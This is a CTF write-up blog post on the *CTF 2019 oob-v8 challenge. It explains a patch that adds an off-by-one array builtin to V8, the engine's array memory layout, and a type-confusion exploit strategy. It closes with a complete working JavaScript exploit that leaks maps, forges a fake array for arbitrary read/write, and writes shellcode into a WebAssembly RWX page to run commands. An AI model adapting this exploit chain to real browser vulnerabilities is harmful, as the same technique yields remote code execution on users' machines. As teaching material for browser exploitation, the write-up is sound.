\*CTF 2019 oob-v8
29 April 2019Hi, I am Ne0. Last weekend we r3kapig
won the champion in *ctf 2019
by AK the challenges 9 hours before the CTF ended. Another champion ! WTF?? Why are my teammates so fxxking niubi? As I am kind of busy these days, I only took a look at the challenge oob-v8
and solved it. This challenge is not hard enough for a writeup. But I know that many ctfers want to learn about browser exploitation. So… here I am ! If you like this writeup, please follow me in github. And this is the blog of my team, feel free to read them.
OOB-v8
The challenge attachment can be downloaded at here. The info of the challenge is
Yet another off by one
$ nc 212.64.104.189 10000
the v8 commits is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.
The attachment includes a patch file oob.diff
and a chrome binary. Well, debugging a d8
(the binary name of v8
js engine) is much easier than debugging a chrome. As this challenge requires no sandbox escape, let’s just compile a d8
and debug it.
Patch analysis
The patch :
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
OK, what it does is really clear : Add a api for array obj
which can read and write its element off by one (as it access the element at offset length
instead of length - 1
).
For example:
var a = [1.0, 2.0]; // length of 2
a.oob(); // read a[2].
a.oob(0x123); // a[2] = 0x123.
So we need to figure out what exactly lies right behind the last element of an array.
Structure of v8’s array.
You can compile a d8 with debug info and use the following script to inspect the structure of any obj in v8:
➜ x64.debug git:(6dc88c191f) ✗ cat test.js
var a = [1.1, 2.2];
%DebugPrint(a);
➜ x64.debug git:(6dc88c191f) ✗ ./d8 --allow-natives-syntax ./test.js
DebugPrint: 0x149f42c8dd91: [JSArray]
- map: 0x36a122482ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x015047251111 <JSArray[0]>
- elements: 0x149f42c8dd71 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x165a74a00c71 <FixedArray[0]> {
#length: 0x3660c36401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x149f42c8dd71 <FixedDoubleArray[2]> {
0: 1.1
1: 2.2
}
0x36a122482ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x36a122482e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3660c3640609 <Cell value= 1>
- instance descriptors #1: 0x015047251f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x015047251eb9 <TransitionArray[4]>Transition array #1:
0x165a74a04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x36a122482f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x015047251111 <JSArray[0]>
- constructor: 0x015047250ec1 <JSFunction Array (sfi = 0x3660c364a9b9)>
- dependent code: 0x165a74a002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
You will see that the lowest bit in the pointers is set. This is the boxing in v8
.
Value B is an 8 bytes long value //in x64.
If B is a double:
B is the binary representation of a double
Else:
if B is a int32:
B = the value of B << 32 // which mean 0xdeadbeef is 0xdeadbeef00000000 in v8
else: // B is a pointer
B = B | 1
So that means v8 uses the lowest bit to indicate whether a value is a pointer. For example, the value of the map pointer
of array a
is 0x36a122482ed9
. But actually it’s 0x36a122482ed8
Reading the output, we can see that there is a map pointer
that describes the structure of the array object, and there is an element pointer
that stores the elements of the array.
If you use a debugger to take a look at the memory, you will find the memory layout of the array obj is:
-32 : some pointer // not related to the challenge. This is memory is also where the element pointer points at.
-24 : length of segment
-16 : element 0 // 1.1
-8 : element 1 // 2.2
+0 : map pointer // the address where the obj pointer points at
+8 : property pointer
+16 : element pointer //pointing at location -32
+24 : length( in the high four bytes )
The map pointer
is right after the last element . So if you oob read or write an array obj, you read or write its map pointer
!
Let’s take a deeper look at the map pointer
map: 0x1eeac1a02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
It says the element of the array is double
(PACKED means there is no hole in the array). If you change the script into this:
var obj = {}
var a = [obj, 2.2];
%DebugPrint(a);
The output becomes:
➜ x64.debug git:(6dc88c191f) ✗ ./d8 --allow-natives-syntax ./test.js
DebugPrint: 0x142ef750ddf1: [JSArray]
- map: 0x08f38af82f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1f47e31d1111 <JSArray[0]>
- elements: 0x142ef750dd99 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x28ff64fc0c71 <FixedArray[0]> {
#length: 0x3244f8a401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x142ef750dd99 <FixedArray[2]> {
0: 0x142ef750ddb9 <Object map = 0x8f38af80459>
1: 0x1f47e31df331 <HeapNumber 2.2>
}
It becomes PACKED_ELEMENTS
, indicating its elements are stored as object. That means the map pointer
of an array indicates the type of its element. Wow, this is a good news for us as we can leak and modify this pointer!
Exploitation
In short, the steps to exploit is:
- leak the map of a double array :
MapA
- leak the map of a var array :
MapB
- fake the memory layout of a double array at address
C
- modify the map of a var array
arr
to beMapA
. This makes the js engine treat the var array as double array arr[0] = C
. As the thearr
is now treated as a double array, the addressC
is written as a double.- modify the
map
ofarr
back toMapB
. fake_arr = arr[0]
. Asarr
is changed back to a var array,C
is treated as an obj pointer instead of a double. We successfully fake a double array.- As we can control the element pointer of the fake double array, we can read or write anywhere we want! With this, we become god.
Final script
I wrote my script in a short time, so it might not follow exactly the steps above. Additionally, as I exploited it using wasm obj
, I used the dataview
obj too. I won’t explain them in details as this is only one of the many ways to exploit this challenge. What I want to share with you guys is the methodology about how to turn a poc into a more powerful primitive and then achieve RCE
.
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(lo, hi) {
if( lo == 0 ) {
return ("0x" + hi.toString(16) + "00000000");
}
if( hi == 0 ) {
return ("0x" + lo.toString(16));
}
return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}
gc(); // the function is for the gc stuff. More details can be found at v8 official doc.
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let buffer = new ArrayBuffer(0x200);
let dataview = new DataView(buffer);
var obj = {"123":123};
let a = [1.1];
let b = [dataview];
let c = [1.1];
let d = [1.1];
float_map = a.oob();
var_map = b.oob();
leak_addr = d2u(float_map);
console.log("[-] double array map pointer: " + hex(leak_addr[0],leak_addr[1]));
leak_addr = d2u(var_map);
console.log("[-] var array map pointer: " + hex(leak_addr[0],leak_addr[1]));
b.oob(float_map);
var fake_obj = [
u2d(d2u(float_map)[0], d2u(float_map)[1]),
u2d(0, 0),
u2d(d2u(float_map)[0], d2u(float_map)[1]), // the element pointer. Set it to where you want to read or write
u2d(0x0, 0x1000),
].slice(0);
var victim = [fake_obj];
victim.oob(float_map);
leak_addr = d2u(victim[0]);
console.log("[-] Fake array: " + hex(leak_addr[0],leak_addr[1]));
b[0] = u2d(leak_addr[0]-0x20, leak_addr[1]);
b.oob(var_map);
victim.oob(var_map);
victim[0][2]=u2d(leak_addr[0],leak_addr[1]);
var ccc = [0x1234,0xdead,0xbeef,f,buffer];
oob_obj = b[0];
var wasm_idx = 0;
var buffer_idx = 0;
for(let i = 0; i<0x1000; i++){
if(d2u(oob_obj[i])[1] === 0x1234){
if(d2u(oob_obj[i+1])[1] === 0xdead){
wasm_idx = i + 3;
buffer_idx = i+4;
console.log("Found!");
break;
}
}
}
let wasm_obj_lo = d2u(oob_obj[wasm_idx])[0];
let wasm_obj_hi = d2u(oob_obj[wasm_idx])[1];
let buffer_lo = d2u(oob_obj[buffer_idx])[0];
let buffer_hi = d2u(oob_obj[buffer_idx])[1];
console.log("[-] buffer pointer : " + hex(buffer_lo, buffer_hi));
console.log("[-] wasm object : " + hex(wasm_obj_lo, wasm_obj_hi));
victim[0][2]=u2d(wasm_obj_lo-0x170 - 0x10 +0x18, wasm_obj_hi);
//victim[0][2]=u2d(wasm_obj_lo-0x170 - 0x10, wasm_obj_hi); // if you debug in d8, use this line
rwx_page = oob_obj[0];
rwx_page_lo = d2u(rwx_page)[0];
rwx_page_hi = d2u(rwx_page)[1];
console.log("[-] rwx page : " + hex(rwx_page_lo, rwx_page_hi));
victim[0][2]=u2d(buffer_lo+0x10 ,buffer_hi);
oob_obj[0] = u2d(rwx_page_lo,rwx_page_hi);
// execute '/get_flag >/tmp/txt ;DISPLAY=:0 /usr/bin/gedit /tmp/txt'
var shellcode =[2572696426, 1647295304, 1932488297, 1213399144, 761849737, 1207959651, 3897747081, 51, 790655852, 1949253152, 1949266029, 991982712, 1347635524, 1029259596, 790638650, 796029813, 795765090, 1768187239, 1949245556, 1949266029, 1442870392, 3867756631, 2425357583];
for(let i = 0; i < shellcode.length; i++) {
dataview.setUint32(i * 4, shellcode[i], true);
}
f();
In the end
I hope you learn something from this blog. If you like it , feel free to follow me in github for more insteresting stuff. GG WP!